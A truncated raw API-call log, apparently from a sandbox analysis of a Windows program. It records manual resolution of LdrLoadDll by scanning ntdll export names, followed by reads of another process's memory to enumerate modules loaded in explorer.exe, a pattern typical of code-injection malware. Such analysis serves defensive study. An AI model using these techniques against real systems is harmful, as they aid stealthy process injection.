(lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrClientCallServer", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrGetProcessId", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgBreakPoint", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgPrint", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgPrintEx", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgPrompt", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiContinue", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventEnabled", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventRegister", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventUnregister", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventWrite", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventWriteString", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="LdrLoadDll") returned -1 [0044.417] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwReplyNotification", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwSendNotification", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwSetMark", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwTraceMessage", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EtwpNotificationThread", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="KiFastSystemCall", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="KiFastSystemCallRet", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="KiIntSystemCall", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="LdrAccessResource", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="LdrAddRefDll", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="LdrDisableThreadCalloutsForDll", lpString2="LdrLoadDll") returned -1 [0044.418] lstrcmpA (lpString1="LdrEnumResources", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrEnumerateLoadedModules", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrFindEntryForAddress", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrFindResourceDirectory_U", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrFindResourceEx_U", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrFindResource_U", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrFlushAlternateResourceModules", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrGetDllHandle", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrGetDllHandleByMapping", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrGetDllHandleByName", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrGetDllHandleEx", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrGetFailureData", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrGetFileNameFromLoadAsDataTable", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrGetProcedureAddress", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrGetProcedureAddressEx", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrHotPatchRoutine", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrInitShimEngineDynamic", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrInitializeThunk", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrLoadAlternateResourceModule", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrLoadAlternateResourceModuleEx", lpString2="LdrLoadDll") returned -1 [0044.419] lstrcmpA (lpString1="LdrLoadDll", lpString2="LdrLoadDll") returned 0 [0044.419] VirtualFree (lpAddress=0x9ca0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0044.425] NtQueryInformationProcess (in: ProcessHandle=0x1210, ProcessInformationClass=0x1a, ProcessInformation=0x6adf1d0, ProcessInformationLength=0x8, ReturnLength=0x6adf1c0 | out: ProcessInformation=0x6adf1d0, ReturnLength=0x6adf1c0) returned 0x0 [0044.425] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x200) returned 0x986faf0 [0044.425] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x88) returned 0x986fd00 [0044.425] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7efde000, Buffer=0x986fd00, NumberOfBytesToRead=0x14, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd00*, NumberOfBytesRead=0x6adf1c0*=0x14) returned 0x0 [0044.425] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77440200, Buffer=0x986fd14, NumberOfBytesToRead=0x24, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd14*, NumberOfBytesRead=0x6adf1c0*=0x24) returned 0x0 [0044.425] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c24a0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.425] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2520, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.425] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2860, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.425] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2948, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3060, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3128, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c34a8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3308, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cdd90, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce660, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce728, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce7f0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce8b0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6ce978, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cea40, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cef08, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cefd0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf0b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.426] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf138, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf1b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf238, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf2b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf338, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf3b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf438, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf4b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf538, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf5b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf638, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf6b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf738, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf7b8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cf838, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.427] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986faf0 | out: hHeap=0x9770000) returned 1 [0044.427] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x986fd00 | out: hHeap=0x9770000) returned 1 [0044.427] VirtualAlloc (lpAddress=0x0, dwSize=0x2524, flAllocationType=0x3000, flProtect=0x4) returned 0x4070000 [0044.428] NtQueryInformationProcess (in: ProcessHandle=0x1210, ProcessInformationClass=0x1a, ProcessInformation=0x6adf1d0, ProcessInformationLength=0x8, ReturnLength=0x6adf1c0 | out: ProcessInformation=0x6adf1d0, ReturnLength=0x6adf1c0) returned 0x0 [0044.428] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x200) returned 0x986faf0 [0044.428] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x88) returned 0x986fd00 [0044.428] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7efde000, Buffer=0x986fd00, NumberOfBytesToRead=0x14, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd00*, NumberOfBytesRead=0x6adf1c0*=0x14) returned 0x0 [0044.428] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77440200, Buffer=0x986fd14, NumberOfBytesToRead=0x24, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd14*, NumberOfBytesRead=0x6adf1c0*=0x24) returned 0x0 [0044.428] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c24a0, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.428] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c18b8, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.428] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\explorer.exe", lpEnd=0x0, wMatch=0x5c) returned="\\explorer.exe" [0044.428] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2520, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c25a0, Buffer=0x986faf0, NumberOfBytesToRead=0x3a, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3a) returned 0x0 [0044.429] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2860, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2810, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.429] StrRChrA (lpStart="C:\\Windows\\syswow64\\kernel32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\kernel32.dll" [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c2948, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c28f8, Buffer=0x986faf0, NumberOfBytesToRead=0x44, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x44) returned 0x0 [0044.429] StrRChrA (lpStart="C:\\Windows\\syswow64\\KERNELBASE.dll", lpEnd=0x0, wMatch=0x5c) returned="\\KERNELBASE.dll" [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3060, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3010, Buffer=0x986faf0, NumberOfBytesToRead=0x40, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x40) returned 0x0 [0044.429] StrRChrA (lpStart="C:\\Windows\\syswow64\\ADVAPI32.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ADVAPI32.dll" [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3128, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c30e0, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.429] StrRChrA (lpStart="C:\\Windows\\syswow64\\msvcrt.dll", lpEnd=0x0, wMatch=0x5c) returned="\\msvcrt.dll" [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c34a8, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3460, Buffer=0x986faf0, NumberOfBytesToRead=0x3e, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3e) returned 0x0 [0044.429] StrRChrA (lpStart="C:\\Windows\\SysWOW64\\sechost.dll", lpEnd=0x0, wMatch=0x5c) returned="\\sechost.dll" [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3308, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.429] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c3298, Buffer=0x986faf0, NumberOfBytesToRead=0x3c, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986faf0*, NumberOfBytesRead=0x6adf1c0*=0x3c) returned 0x0 [0044.430] StrRChrA (lpStart="C:\\Windows\\syswow64\\RPCRT4.dll", lpEnd=0x0, wMatch=0x5c) returned="\\RPCRT4.dll" [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6cdd90, Buffer=0x986fd38, NumberOfBytesToRead=0x50, NumberOfBytesRead=0x6adf1c0 | out: Buffer=0x986fd38*, NumberOfBytesRead=0x6adf1c0*=0x50) returned 0x0 [0044.430] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x6c33f8, Buffer=0x986faf0, 